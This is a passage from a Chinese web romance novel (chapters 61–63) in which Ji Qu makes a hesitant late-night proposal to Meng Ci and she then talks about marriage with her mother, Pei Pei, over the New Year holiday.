孟慈急匆匆地就要从季曲的怀里起身:“你哪里不舒服?是不是……” “我没事。”季曲把人按回怀里,抱的更紧些,“石骏廷要出院了。” 孟慈瞬间发白的脸色让季曲心里有些满足,她在担心自己,十分百分的明显。 季曲安抚道:“先要蹲一段时间,刑期要等判决。” “那你怎么出去这么久?”孟慈怕季曲有什么事瞒着自己,用手勾着季曲左看右看,看有没有哪里不对。 季曲任由孟慈打量,顺从地展示自己,“因为我顺便去看了眼安翰,他快出来了。” 孟慈视察的动作暂停:“这么快?” “当初他是自首的,后期还款也迅速,表现良好,自然了些减刑。”季曲算了算时间,“大约在明年春天。” 孟慈的注意力转移开,勾着季曲的手也松了一点。 察觉到这一点,季曲低头蹭了蹭孟慈的鼻尖,“怎么了?担心他?” 担心吗?还是恐惧。 孟慈知道自己的渺小,对于此类能决定一生的事,出不上一点力。 其实她和季曲的男性朋友们大多没有深交,反而与他们的女伴有几分真情实意。 想到何冉,想到安娜,想到邓姚。 想到没有结果的结果。 但是偏偏好像大家都能接受。 孟慈不支持但是赞同,得到爱情的好像都是原本就不缺爱的人,爱在他们四周源源不断的汇聚。 季曲以为孟慈是在为石骏廷的事情担心,思考一会儿,宽慰道:“我今天见到他了,身体已经好的差不多,以后出来还能给他爸养老送终。” 他爸?孟慈收起思绪,看着季曲,歪了歪头。 “他妈早就去世了。”季曲试图用委婉的方式解释给孟慈听。 “石骏廷,生在大山里,按照遗传来说,父母的基因相差越大意味着孩子从父母那里获得的基因组合可能就具有更大的多样性。” 孟慈想了想:“所以混血宝宝好像都很漂亮。” “也可以这么理解。”季曲笑笑。 “但是对于一个相对来说较为封闭的大山,近亲结婚的可能性更高,下一代出现问题的可能性更高,但是石骏廷不是没有任何问题,还十分聪慧好学,要知道,李港的奶奶也不是谁都能看上的,她之前还拜托李港,让我放石骏廷一马。” 孟慈越听眉头越紧:“所以石骏廷的妈妈?” 季曲点点头:“她是精神疾病致死的,因为她的老公对她有些……恶劣。” 似乎是思考到结果,孟慈的脸色难看,“石骏廷知道吗?” 季曲没用简单的“是与否”作答,而是说:“石骏廷上大学后每年暑假都会去一趟南方,好像是在找些什么,大四那年,他找到了写有他妈妈名字的宗祠。” 火星依旧在爆炸,伴随着越来越深的夜,在寂静中喧闹。 给孟慈一些时间消化,季曲过了一会儿才继续。 “他确实聪明,上进心也强,但是他第一次来竞标的时候,我们收到了一封匿名信,里面清清楚楚地罗列着他大三时的一项实验成果,是抄袭了他同团队的一位同学而得到的。” “我从来不和没用信用的人合作,即使他前程光明,不可限量。” 孟慈自然明白这一点,商人重利,却更重信。 季曲继续说:“而且北城的青年才俊那么多,我何必为了他放弃其他,北城遍地是黄金,这种时候,我可以费点功夫挑一颗钻石出来。” “他太激进了,非要和你做比较。”孟慈摸着季曲硬硬的发丝,“谁能和你做比较啊?是他自己把自己逼上绝路。” 季曲被孟慈的话逗乐,略微弯了弯身子,“在你眼里我那么好啊?好到别人比不上?” 孟慈用手指戳着季曲嘴角挑起的弧度:“当然啦,不然我为什么回来找你啊?” 季曲的身体很硬,是常年坚持锻炼的结果,即使经过长时间的卧床,也没松弛多少。 但是在给孟慈当窝的时候,却总是温暖柔软。 孟慈在季曲怀里蹭了蹭,抬头用嘴唇换手指,在季曲弯弯的嘴角贴了贴。 “我困了。” 孟慈浅浅地打了个哈欠,季曲牵着人上楼。 孟慈滚上床后给自己选了个舒服的姿势,等到季曲洗完澡换好睡衣出来,她已经睡深了。 从床头选了只香薰,用火机点燃,番茄叶的味道慢慢延展,走到角落调整好加湿器和空气净化器,季曲才轻手轻脚地回到床上。 孟慈可能是感觉到热源,翻了个身直接贴了上来,季曲展开胳膊,让孟慈找到合适的位置。 季曲还没有困意,垂眸看着孟慈露出来的半张脸。 睫毛长长地垂着,随着呼吸起伏,直挺挺的鼻梁,下面连接着有些红肿的嘴唇。 一方面是自己的“杰作”,一方面是屋子里太干,孟慈总会下意识地撕嘴上的死皮。 小心翼翼地朝床头探出胳膊,拉开柜子找到润唇膏,打开盖子取了一些抹在孟慈的嘴上。 期间孟慈躲了一下,季曲便停下动作。 等到孟慈的呼吸再次平稳了才继续,直到孟慈的嘴唇完全被湿润的膏体覆盖,季曲才停手。 看着逐渐睡沉的孟慈,季曲心里发痒,尤其是刚刚在客厅的那番聊天。 自己心里的可能性被验证,孟 慈是自愿回来的,回到他的身边。 换种说法,孟慈可能当时就不想走。 越这么想心里越止不住地软成一汪水。 季曲捏了捏孟慈的手背,孟慈抽走,不满地吧了吧嘴,似是为了好梦被打扰而皱眉。 季曲没停,继续捏,一路从手指捏到小臂,直到孟慈迷迷糊糊地睁开眼。 “干嘛啊?”孟慈的抱怨在季曲看来就像撒娇。 孟慈没得到回应,但是自己的胳膊上还能感觉到被揉捏的力度,她努力地抬起眼皮,“季曲?” 还没等看清季曲的脸,就被铺天盖地的吻堵住,唇间除了凉凉的薄荷,还有甜甜的草莓。 刚被季曲涂好的膏体瞬间糊了,孟慈的下巴上都有黏腻感。 “你…你干嘛啊?”孟慈在被照顾换气的同时好不容易问了一句。 季曲的喘息很重,他四处吻着,声音有些闷,“我嘴有些干,和你借点唇膏。” “不是,唇膏不就在你床头,你自己…唔……” 话说一半,孟慈又被堵住,季曲边吻边小声地说:“我就想从你这儿借。”【你现在阅读的是 】 60-65 第61章 第61章莫名其妙的求婚 季曲去医院详细做过检查后,才选择返岗。 孟慈的伤比起季曲轻不少,自然也不想自己呆在家里,也要求返岗。 但偏偏季曲把孟慈的伤看的比自己的都要重,拉着孟慈从身体到心理通通做了一番检查后才放心。 季曲私下和巴黎总部的老板打了招呼。 又和北城分部的总经理Asher吃了个饭,以确保孟慈初返岗后的工作不会太过于繁重。 问题在于孟慈返岗后要搬家,也算不上搬家。 毕竟在自己这儿本来就是借住,但是真的到了孟慈收拾行李要离开的那天,季曲还是控制不住的黑了脸。 孟慈还在坐在地上想还有没有什么忘记拿的,完全没注意到衣帽间门框上倚着的人已经身在台风中心。 “为什么非要搬出去?”季曲阴沉沉地开口。 孟慈正在思考要不要带最近常穿的一套睡衣离开:“我这是回我自己家,而且你家离我公司好远,每天七点就要起床,我起不来。” 这话有些夸张了,虽然季曲家到孟慈的公司要一个多小时,但是孟慈家到她公司怎么也要四五十分钟。 “但是我会很想你。”季曲没办法缩短时空距离,只能上前两步,从背后圈住孟慈,把下巴搁在孟慈脖颈旁有一下没一下地蹭蹭。 孟慈被蹭的有些痒,偏头去躲,“那怎么办?我又不能辞职。” 季曲握住孟慈叠衣服的手:“要不然我和你搬过去?” “你?”孟慈侧头看着季曲,“我家没有阿姨伺候你的生活起居,也没有恒温泳池和健身房,书房也很小,没地方给你开临时会议,而且也没有院子给你养鱼种花。” 季曲的眼角垂落,睫毛在眼尾遮出一道沟,“但是有你,我有你就够了。” 孟慈起了一身鸡皮疙瘩:“你从哪学的这些?” “怎么了?”季曲掀起眼皮。 “和你的人设不太符合。”孟慈冷静地给出评价。 季曲笑了,在孟慈的脸颊上亲了亲,又说:“那我马上在你公司旁边买一间新房子,然后我们一起搬过去怎么样?” 孟慈煞有其事地点点头:“这句词还不错。” “谢谢孟导。” “不客气。”孟慈拍拍季曲的手,又抬抬肩,示意季曲起来。 季曲假装没懂,又抱了一会儿,直到窗外又纷纷扬扬地飘起雪花。 “今年怎么这么多雪?”孟慈也注意到了,目光落在窗户外。 “下雪了路不好走,明天再搬?”季曲所答非问。 孟慈拒绝:“我后天就要上班了。” 季曲说:“明天再送你,这么大雪,司机晚上也不好开车。” 像是要印证季曲的话一样,纸片般的雪花打在窗户上,孟慈开窗接了一片到手里,看了眼阴沉沉的天,说了好。 晚上季曲在办公室开跨国会议,他本人应该去现场的。 但是把孟慈自己留在这边又不放心。 万一她不小心摔一下,万一华婉又找过来,季曲想想都害怕,便派了孙谦过去。 当然,代价就是自己每天都要隔着时差开会听报,工作压力又大了不少。 等到孟慈沉睡,季曲才轻手轻脚地离开卧室。 换了身正装,洗了把脸,打开电脑后发现还差十分钟到约定的时间。 季曲靠在椅背上喝了口温水。 突然想起来因为难受的次数少了不少所以最近没怎么好好吃药,但是近几天时不时地又有些心慌,不知道是熬夜太多还是因为孟慈要走。 打开右手边的第一个抽屉,拿出瓷瓶倒了三颗含在舌下,季曲闭着眼等待药丸化尽,苦涩萦绕舌尖。 直到苦味散尽,季曲才睁开眼把药瓶扔回抽屉。 期间还看到了一只丝绒盒子,原本是在保险柜放着的,但是自从孟慈这次回来两人关系缓和后,这只盒子就被季曲放到了方便拿取的办公桌抽屉里。 拿出盒子握在手间把玩,季曲有些胆怯,他不知道什么时候才算送出的好时机。 正愁着,那边的会议提醒响了。 季曲回神,把盒子又扔回抽屉关上,靠近办公桌,季曲按下应答键正式开会。 孟慈晚上多喝了碗甜汤,天将亮未亮的时候爬起来上厕所,发现身边是空的,床铺也没有什么温度,孟慈才反应过来季曲又去工作了。 上完厕所孟慈醒了大半,走到书房前,微弱的光从门缝透出来。 孟慈小心翼翼地把耳朵贴在门上听了一会儿,里面没什么人声,她握住门把,努力不发出声音地下压,推开。 书房的灯只开了办公桌前的那部分。 踩着厚重的地毯,孟慈走到办公桌前,发现电脑已经处于熄屏状态。 季曲趴在宽大的桌子上,肩膀有规律地起伏,像是睡着了。 桌面上还散着一堆文件,中英文混杂,旁边的打印机上还堆着不少新打出来的内容。 孟慈没敢乱动,她不知道文件摆放的顺序规律。 在房间里左右扫了一圈,没有多余的毛毯,孟慈把自己肩膀上的披肩取下来,轻轻地搭在季曲肩膀上。 即使很轻,还是把季曲弄醒了。 季曲坐起身,额头上被压地一片红,他起身时很轻的“嘶”了一声。 “不好意思弄醒你了。”孟慈伸手捋平季曲额前乱了的头发。 季曲摇摇头:“我压麻了胳膊才醒的。” 季曲还没完全睁开眼,肩膀胳膊也都有些僵硬,孟慈便主动地给他揉,还没几下,就被季曲拉进怀里。 “没事的,一会儿就好了。”季曲抱着孟慈,脸埋在孟慈的锁骨处,嗅她还没来得及消散的身体乳味。 孟慈双手抱着季曲的背,下巴处碰着季曲被发胶塑的硬挺的发丝。 这段时间都是这样的。 孟慈半夜醒来时,季曲常常不在,所以自己搬走的话,他最起码能正常办公,不用被自己绊住脚。 孟慈心疼地捏着季曲硬成一块的脖颈,试图把聚集的肌肉推开。 就这点小劲儿当然没什么用处,但是季曲乐得孟慈主动表现,便也没再推辞。 两个人静静地呆了一会儿,直到孟慈觉得自己胸前的呼吸又快平稳了,才捏捏季曲的 耳垂,“回卧室睡吧。” 房间里静静的,过了一会儿,季曲将拢着孟慈腰身的胳膊收紧了些,说:“能不能不搬走?” 屋外的天变成浅黑色,没有星星,纱帘间有了些光亮,和书房的暖黄色灯光融在一起,变得没那么暗。 季曲又说了一遍:“慈慈,别搬出去,就在我身边好不好?” 孟慈捏着季曲耳垂的手顿了一下,然后滑落,轻声道:“说了我上班不方便的呀。” “那我们就搬家。”季曲微微抬头,鼻尖落在孟慈颈侧,呼吸喷在动脉。 孟慈不说话了。 季曲始终闭着眼,依靠呼吸和肢体判断,毕竟孟慈那张脸好会骗人。 他感觉到孟慈的呼吸有些乱。 “你要我怎么做才能留下。” “我离不开你。” 季曲的唇在孟慈的皮肤上轻触,若有似无。 “慈慈,我爱你,别走好不好?” 感受着抱了满怀的人,孟慈更加不知道该说什么。 她明明清楚在这个时间应该说些什么,但是却也无话可说。于是,只能选择不会出错的沉默。 季曲终于舍得从孟慈怀里出来,他带着期盼,带着恐惧,固执地和孟慈要一个答案。 “你想要什么呢?你又害怕什么呢?我有什么能做的,你告诉我。” 孟慈紧闭双唇,只是在对上季曲时,会扯着嘴角笑笑,然后温柔的抚摸他的侧脸。 “我们结婚吧。”季曲突然坚定又真挚地说,“我们结婚吧,孟慈。” 季曲握住孟慈放在自己右脸上的手,带着她打开办公桌的抽屉,露出里边的丝绒盒,和下面压着的户口本。 在孟慈发怔的时候,季曲把她放在凳子上,自己起身从抽屉里拿出那只盒子,然后转身面向孟慈,单膝跪地。 拉住椅子的一侧,连人带椅带到自己身前,季曲没着急打开盒子。 “我妈第二次找到你的时候,它就已经在回国的路上了,我去买下它的时候还没来得及打磨,我托人找了好久的师傅,才找到满意的,但是那个师傅年纪大了,做工细又慢,还是没赶上。” 季曲一边看孟慈的反应一边缓慢地解释着。 “等你再回来,我们在街上发生事故,我都没想把它再拿出来,但是,直到我在安娜的婚礼上在看到你,问你是不是要结婚,被你客套地对待,又看到你前男友时,我就想到了它了,凭什么啊?他拥有被原谅的机会,我却没有。” 季曲不想承认却又不得不承认,自己的嫉妒心在对上丁昊的那一刻似野草疯长。 “我旁边的人不知道怎么了,一个两个的都要结婚,婚姻又不是什么好东西。”季曲讲到这儿还笑了笑,“然后某一天,我在又接到一个请帖后,偶然路过街边的一家婚纱店,销售可能以为我有需要,便出来给我介绍,递给我一张广告扉页,让我带着爱人去店里看看。” “但是。”季曲停顿一下,换了种自嘲的语气,“荒唐的是我第一反应想到的是你。” “慈慈,不管你信不信,就算你离开了,但是在我的意识里,你就是我的爱人,是我想要白头到老的伴侣。” 孟慈不知道从什么时候开始就笑不出来了,眉眼垂下来,失去了一贯的光彩,比窗外的夜都昏。 季曲看到孟慈这样,心下不愿她难过,只能自己退步。 他伸手捏捏孟慈的脸颊,试图推一个微笑出来,“没事的慈慈。” 就这么哄了哄,看到孟慈好过一些,季曲才继续,“但是慈慈,我还是要和你说,我觉得自己很不称职,因为我竟然不知道你喜欢哪种婚纱,但是当时我手里的广告纸上,不过也就十几款而已。” “我只知道你穿哪款一定好看,但是不知道你自己究竟喜欢哪款。” 季曲的笑也开始难看起来:“但是当时,我自诩真的爱过你。” 这就是最荒唐的。 当时自诩爱过的人,偏偏连自己爱人的喜好都不清楚,因为根本就没想过会走到这一步。 就像现在季曲也不会给自己看墓地一样,因为还不到时候。 季曲的话停在这儿,目光中有些闪烁,但却也如释重负。 不过还好,两人现在已经走到彼此心疼的阶段。 孟慈看着陷入自责的季曲,捏了捏他的手腕:“没事的。” 似乎被孟慈的反应安慰到,季曲深吸一口气才继续。 “等到你被石骏廷绑架,我才后悔,疯狂的后悔,为什么不早点飞去你的学校找你,不和你道歉,非要呕着一口气,以为自己没有你也能过的很好,为什么要为了无谓的自尊丢掉了那么多和你一起的时间。” “曾经有一度我把所有的错都堆在我妈头上,但是其实,问题在我,是我没做绝,是我不恳切,是我在爱你这件事上还留了退路,所以才给别人机会插足到我们之间,把两个人的事放大成为无数人的事。” 季曲说到这儿的时候已经有些哽咽。 “我们本来应该过得更幸福的,是因为我的自大和懦弱,才让我们浪费了这么久。” 不算合适的求婚地点,不算合适的求婚时间,季曲却无法再忍受不确定。 打开盒子,十爪的粉钻即使在白夜交接的昏暗界限也熠熠生辉。 深夜里,孟慈的瞳孔都被火彩映亮。 季曲看着戒指,说:“我找人重新做了设计切割,毕竟那时我只想用它来绑住你,图我自己安心,但是现在,我想用它换你自愿承诺,自愿和我一起生活,自愿始终爱我。” “慈慈,我把一切都准备好了,嫁给我好吗?再给我一次机会。” 季曲已经跪了很久,久到有些发抖,但是他的面上仍然不显。 孟慈细细地打量着季曲,他的双眼依旧很疲惫,布满血丝,是通宵工作的后遗症,眼下一片乌青,是心脏反射的病症区。 孟慈始终以为自己对婚姻没有向往。 她只是为了完成裴沛的心愿,做儿女的,总不能让爸妈伤心难受,为自己担心受怕。 但是……但是。 伸手揩了揩季曲有些湿润的眼眶,孟慈用指甲掐着自己的手心,压下心中的酸涩,调整出一个温柔笑容,顺手合上了季曲掌心的那支盒子。 “天就要亮了,睡觉吧季曲。” “你该休息了。” 于是,莫名其妙的求婚,莫名其妙的暂告一段落。 第62章 第62章水满则溢不进则退 后来孟慈的搬家计划再次被搁置,因为季曲搬出了一个令人无法拒绝的理由。 求婚失败之后,季曲总会动不动就陷入自责情绪。 孟慈每每看到都要反思一次是不是自己做的太过分。 但其实她只是想多要些时间考虑而已,怕辜负了季曲的一番真心和那只价值连城的钻戒。 一直到快要过年,孟慈才借着裴沛回来的借口要搬走。 “我妈要是回来总不能住在你这儿吧。”孟慈看着把着自己的行李箱留在脚边的季曲小心翼翼地说。 “为什么不能?”季曲拉着拉杆,看着箱子在原地转圈,在木地板上留下印子。 孟慈心疼地板,按住了季曲的手,“我妈人老了,不好意思。” “是因为你还没和你妈说和我在一起的事吧。”季曲头也不抬,视线落在箱子上。 “我这不是还没想好怎么和我妈说?毕竟我们之前分手了。”孟慈讨好似的往季曲身上贴贴。 季曲无动于衷:“怎么都是前男友,人家就能每天去你家楼下找你,到了我这儿就连提都不能提?你妈喜欢年轻的?” 不怪季曲多想,但是孟慈每每和裴沛视频通话,总要藏到一边,根本不给季曲露面的机会。 有一次季曲试图偷偷入镜,还被孟慈抓到,连忙换了方向。 看着季曲灰暗的神色,孟慈突然很头痛。 他怎么知道丁昊之前去自己家楼下的,但是真的算不上每天,就那么几次而已。 孟慈还没想好怎么哄人,就看到季曲终于愿意抬起眼皮,看向自己。 “等她这次回来就和她说,我发誓。”孟慈还伸出三根指头举到脸边,满脸诚恳。 “但是你妈还没说一定回来。”季曲伸手把孟慈的手握住。 孟慈转了转眼睛:“那我就视频和她说,或者你想出镜也可以,我们一起给她拜个年?” 季曲看着孟慈这幅任尔予求的模样心里的不满瞬间卸掉一半。 他低了低身子,把孟慈抱进怀里。 “我的意思是你可以等你妈确定回来了再搬,不然你自己回去我不放心。” “但是你过两天不是也要回家?我在这儿也是自己。” 孟慈的话飘到季曲耳边,变成针,变成玻璃渣。 季曲加大拥抱的力气:“我爸妈出去旅游了,季澈回不来,他老婆孩子都去找他了,只剩我自己一个人。” “那你要不要也出去… …” 季曲突然打断孟慈想要把自己推远的意见:“你都没陪我过过生日。” 微微抬起些头,额头抵着孟慈的额头,季曲说:“慈慈,你都没陪我过过生日。” 季曲的生日在大年初二,很特别的时间。 季曲27岁生日前夕,孟慈说了分手,季曲没挽回。 季曲28岁生日当天,孟慈在大洋彼岸,季曲在家。 季曲29岁生日当天,孟慈在家过年,季曲也在家过年。 季曲30岁生日当天,孟慈又在大洋彼岸,季曲在家。 马上就要31岁了,明明自己爱得离不开的人,都没陪自己吹过一次蜡烛。 季曲有些委屈道:“我29那年,你在你奶奶家,没来陪我。” 孟慈也后知后觉地发现世事弄人:“但是初一那天我们见面了,你还送我手串,我也给你留了生日礼物。” “我知道,我很喜欢。”季曲的眼睫微闪,“但是你不在我身边,一次都没有。” 在记忆里翻腾了一通,孟慈自觉得是有些过分,但是自己的生日季曲也不在场,于是她反驳道:“我的生日你也没陪我吹蜡烛。” 季曲的眼尾更垂了:“那是因为你总是不给我机会,你没让我陪你到你生日那段。” 立场对掉,孟慈在季曲的埋怨眼神中,开始回忆。 她的生日在夏天,夏至前后。 孟慈22岁生日当天,还和丁昊在一起。 孟慈23岁生日当天,在大洋彼岸留学,因为她在夏初和季曲提了分手。 孟慈24岁生日当天,在大洋彼岸留学,因为她在春末和季曲提了分手。 孟慈25岁生日,还没来临。 于是,孟慈的行李箱再次回到了衣帽间的深处,里面的东西被季曲一件不落的放回原位。 但是天不遂人愿,裴沛今年特地早回来几天。 季曲为了讨好未来丈母娘,只能把孟慈送回了裴沛的家。 不过孟慈特地约了季曲一起接机,这在季曲看来就是孟慈给的台阶。 季曲自然顺着就下了,他本就擅长把握各种机会。 裴沛在机场看到季曲时明显愣了一下,而后眼神在毫不掩饰的两人间来回打转,也就回家的这一段路程,裴沛就全明了了。 都是过来人,谁看不懂之间的隐晦。 钱杰被他的儿女接走,离开时还特地安顿了年二十九就来接裴沛母女。 听说钱家人特地租了个大别墅,要一起热闹着过。 裴沛点头答应,孟慈只是笑笑,没说什么。 季曲把裴沛的随身物品提上楼,便离开了,特地留给母女俩一些时间,并且邀请裴沛赏光共进晚饭。 房间已经提前找人收拾过,没有灰尘的味道。 裴沛从皮箱里简单拿了些一两天用得到的,毕竟不到一周就到年二十九,又得大包小包地往走搬。 孟慈负责摆放洗漱用品,裴沛的护肤品很多,她是个精致的人。 查看着瓶瓶罐罐的余量,心里记下要在裴沛走之前给人把新的补起。 母女俩收拾了一会儿,天就黑了。 季曲的车停在楼下,不催不扰,只给孟慈发了条信息。 一直到孟慈发觉自己饿了,裴沛才停下手,说:“你去吃饭吧。” 孟慈正在洗手,全是泡沫,听到这句话,头从洗漱间伸出去看向卧室,“你不去?” 裴沛换了睡衣:“飞机上吃了些,而且有些累了,你们吃就好。” 不知道裴沛是真累了还是不想和季曲吃饭,孟慈冲净手,穿好大衣又走到卧室门口问:“走吧,吃一口再回来休息。” 裴沛已经准备洗漱:“我真不饿,快去吧,他在下面等了很久。” “那我给你带点什么回来?”孟慈不死心道。 原本还想拒绝的裴沛在看到有些拘谨的孟慈时没再拒绝。 自己的女儿在为了她的男朋友得不到家长的喜爱而忐忑不安。 “帮我带份甜汤?如果有的话。”裴沛笑了笑。 “好。”孟慈这才心满意足的走了。 季曲见到孟慈独自一人上车时竟然没什么表情,他只是给孟慈带好安全带,然后便开车上路。 途中,孟慈疑惑道:“你怎么不问我妈为什么没来?” “要么就是累了不想吃饭,要么就是不想看我,对我不满意。”季曲握着方向盘,“还能有什么原因?” “还挺有自知之明。” 季曲挑眉:“要是我我也不待见自己。” “为什么啊?”孟慈饶有兴趣地看向季曲。 “不可靠呗。”季曲的食指敲在方向盘上,读红灯的秒数,“年纪大,家里事多,太有钱,还被自己的闺女甩过两次。” 前面的几项孟慈还有些赞同,至于最后一项,孟慈提出疑问:“我甩你和你有什么关系?” “那肯定因为我有问题你才甩的我呗。”季曲抽空瞄了孟慈一眼,“好马不吃回头草,肯定是因为我死缠烂打你才又和我在一起第三次。” 孟慈笑了,伸手拍了下季曲的手背,“她累了,让我们带碗甜汤回去。” “保证完成任务。”季曲抓住孟慈的手拉到嘴边亲了一下。 晚上八点,孟慈带着甜汤进了家门,裴沛在沙发上看电视,还没睡,见到孟慈回来,问她吃的怎么样。 “还不错,汤还热着,快来喝。”孟慈轻晃了晃手中的纸袋。 其实裴沛没什么胃口,只能用勺子一遍又一遍地搅弄,直到汤里的银耳都碎成末,孟慈才说吃不下就别吃了,没必要硬撑。 裴沛立马采纳意见,把甜汤放进冰箱。 “要不要吃草莓?”裴沛扫到冰箱里有孟慈提前准备好的食物。 孟慈摇摇头:“太晚了,明天再说吧。” 裴沛不知道自己的女儿什么时候变得这么养生,明明之前的生活习惯算得上差劲。 孟慈出车祸的事,裴沛还不知道,孟慈也不打算让她知道,毕竟这种事只能让妈妈伤心。 母女俩坐在沙发上看新的古装剧,空气异常沉默。 孟慈的手机震动一下,拿起一看,是季曲的消息。 他又跑到另一场宴请中,估计要很晚才能回家。 把手机放在一旁,孟慈用余光打量着目不斜视的裴沛,没忍住先挑了话口,“妈。” “嗯?”裴沛依旧盯着电视屏幕。 孟慈莫名的喉咙发干,从茶几上拿起杯子喝了口水,才说:“我现在和季曲在一起。” “看出来了。”裴沛歪头递给孟慈一个她接受的眼神。 孟慈往裴沛的身边挪了一些:“我们现在挺好的。” “哦。”裴沛点点头。 剧情正演到关键处,裴沛好像没法分神给孟慈,也无心分神。 孟慈看到这态势,只能选择先闭嘴。 大约十一点,裴沛打了个哈欠,孟慈也被传染,两人对视一下,进了卧室。 今年冬天的暖气烧的很旺,孟慈只盖了床薄被子,手脚露在外面也不觉得冷。 裴沛背对着自己,看着平稳的呼吸,应该是睡着了。 孟慈拿起手机,给季曲发消息,结果那边还在应酬,季曲说要三四点才能结束。 这才搬出来第一天,季曲就开始夜不归宿。 比起在外面受烟酒熏扰,孟慈宁愿季曲在家开会。 正要给季曲发早点回家,就听到裴沛动了一下,被子发出声响。 “关灯玩手机对眼睛不好。”原来裴沛还没睡着。 孟慈立马调 低屏幕亮度:“晃到你了?” “没,你可以把台灯打开。” “不用了,我也要睡了。” 孟慈把手机放到床头,重新盖了下被子,闻着暖暖的阳光味,有些陌生。 “睡不着?”裴沛听到孟慈动了几次。 孟慈问:“妈妈你觉不觉得有点干?” 裴沛闭着眼说:“地暖就这样。” 孟慈按亮床头的灯:“有加湿器,我去开。” 把卧室角落的加湿器拿出来,孟慈按照季曲之前的讲解扭动机器,但是不知道怎么回事,理应喷洒而出的水雾久久不见。 鼓捣了半天,还是裴沛过来帮忙操作的。 定好时,母女俩才又躺下。 “自己买的机器都不会用?”裴沛闭着眼问。 孟慈不想暴露自己和季曲同居的事实:“我家的款式和这个不一样。” 裴沛哦了一声,也不知道信没信。 孟慈一晚上七上八下的,许是被她翻腾得心烦,裴沛干脆替孟慈问了,“你怕我不喜欢他?” “嗯?”孟慈顿了一下,才反应过来裴沛话里的“他”是季曲。 一个翻身,孟慈躺在裴沛的枕头边边,闻到了淡淡的兰花味,“妈。” 裴沛也转过来躺平,任由孟慈靠在自己的肩膀。 “妈,你是不是真不喜欢他?” “我没有啊。”裴沛闭着眼说,“他那年在新西兰给我拜年的时候,我就觉得他还不错。” 那年季曲奉命捉季荣宝回家,刚好在皇后镇停留一晚,便抽了半个小时上门拜访。 其实也就坐了一盏茶的时间,季曲只说自己是孟慈的朋友,并未捅破窗户纸。 “那你怎么……”孟慈在黑暗中睁着眼,什么都看不清。 “没去吃饭?”裴沛叹了口气,“我是真的累了,而且吃个饭而已,以后有的是机会。” “哦。”孟慈有些闷闷不乐。 过了一会儿,孟慈的眼睛逐渐适应黑暗,眼前逐渐出现模糊色块,她冷不丁道;“他想和我结婚。” “结婚?”裴沛这下有些意外,“什么时候提的?你怎么没和我说?你答应了吗?” “就前两天,想着和你当面说。”孟慈眨眨眼,“我还没答应他。” “他家里知道吗?你见过他父母了?”即使裴沛对季曲不是实打实的知根知底,但也能从吃穿用度,言行举止判断出对方家世一定显赫。 第一个问题,孟慈不知道。 第二个问题,孟慈见过季曲的父母,但不是什么状态好的见面。 孟慈思索一番,不知道如何回答。 通过沉默,裴沛知道了答案,她依旧闭着眼,摸索着触到孟慈的头发,顺着抚摸。 “季曲很好,好到妈妈有些怕。” “那个孩子和我们不在一个层面的,思想、认知、行为、价值观,都有巨大的差异,这是从小就养成的行为习惯。” “我知道的呀。”孟慈小声地讲,“我都知道的妈妈。” 孟慈因为这些差异,吃了苦,流过泪,但是还是选择回来,回到季曲身边。 “我和他就是偶然认识的,又偶然在一起,分分合合,走到现在。” “所以呢?”裴沛睁开眼,在黑暗中分不清哪里是虚空,哪里是孟慈固执的发旋,“你想和他结婚?” “我不知道。”孟慈很轻地摇摇头,“我不认为婚姻是亲密关系的最终归宿。” “但是好像,我们也走到了这一步。” 水满则溢,不进则退。 裴沛看着加湿器上闪烁的灯:“所以你想从我这里得到什么答案?” “我也不知道,妈妈。” 孟慈用胳膊肘撑着爬起来,对上裴沛的眼,虽然看不清,但是裴沛眼底充满了足以溺死孟慈的疼惜与爱意。 可能是感受到孟慈的迷茫与无力,裴沛没舍得从过来人的角度掀开什么“遮羞布”。 在刚刚数次的沉默里,裴沛能感受到的是,孟慈心里的爱与抗拒势均力敌。 “妈妈也不知道。”裴沛最终只是笑了笑,心疼地摸着孟慈的侧脸,“妈妈的婚姻也不算成功,没办法给你什么借鉴。” “但是你不是一直想让我结婚吗?”孟慈有些迷茫。 裴沛的笑容僵住,而后又化开,“那是以前,现在不一样了,你想怎么样就这么样,妈妈只希望你开心就好。” 加湿器的水雾很快充斥在干燥空气里。 孟慈觉得喉咙深处的干涩感减缓不少,但是奇怪的是,水雾又把喉咙泡涨,堵得孟慈难受。 在半梦半醒间,孟慈的手机又震动一下,但是没人拿起来看。 季曲的信息孤零零的躺在未读列表。 【我结束了,一会儿接你们去吃早点。】 第63章 第63章我爱她 季曲在年前始终扮演着二十四孝女婿的角色,随叫随到。 不叫也按一日三餐得过来问候,搞得裴沛都有些烦了。 一直到年二十九,钱杰过来接人,裴沛上车前和孟慈再次确认,“你真不和我走?” “我三十晚上过去。”孟慈站在季曲撑的伞下,在围巾的包裹中只露出一双眼。 季曲把摸了摸孟慈的耳朵,又把围巾往上拉拉,才说:“阿姨放心,我明天下午送她过去。” 裴沛这才看向大半个肩膀都被白雪盖满的季曲,说:“孟慈说你家过年没人,方便的话一起来吧,平常喜欢什么菜?” 季曲有些惊讶,不过他立马谦卑道:“我都可以阿姨,那就麻烦您了。” 裴沛点点头,这才越过拉开车门的钱杰上了车。 目送车子离开,孟慈被季曲揽在怀里,丝毫感受不到寒冷。 季曲拢着孟慈的腰:“回家?” 孟慈点点头:“嗯。” 原本约定好年三十下午三点到家,但是孟慈赖了床,在裴沛的一连串电话催促下,孟慈快到傍晚才穿好衣服出门。 “就怪你。”孟慈看着手机上的来电,只觉得烫手,接都不敢接。 “怪我干嘛?我叫了你五次。”季曲不紧不慢地发动车子,余光瞄到不安的孟慈。 没忍住笑了一下,惹得孟慈一记眼刀,季曲拿过孟慈的电话,替她扛了一波雷。 不过还好是年三十,裴沛也只是询问了两人什么时候到。 季曲看了眼路程,约莫着给出答案,便挂了电话。 孟慈路上还在生气,头扭向窗外,一句话都没和季曲讲。 “别生气了好不好?今年可是大年三十。”季曲一边开车一边查看孟慈的状态,想尽办法哄着。 孟慈冷哼一声。 季曲笑笑:“好好好,怪我,都怪我。” “本来就怪你,我都说了要早点睡,你偏不。”孟慈越说越气。 季曲一副可怜样:“那我好不容易把你盼回来,当然想和你亲近亲近。” “我又不是不让你亲近,但是你是不是应该有些度?”孟慈侧过头,干脆瞪着季曲。 “我还没度?除了第一次让你坐着多费了点劲,后面几次不都是我…唔……” 季曲的话还没说完就被孟慈伸手堵住。 刚好遇到红灯,季曲扭头看向孟慈,她的脸正飞速变红,“你可别说了!” 季曲唇上的手心滚烫,估计和它主人此刻沸腾的脸色一样。 没再逗人,季曲动了下嘴,在孟慈的手心烙下一个吻。 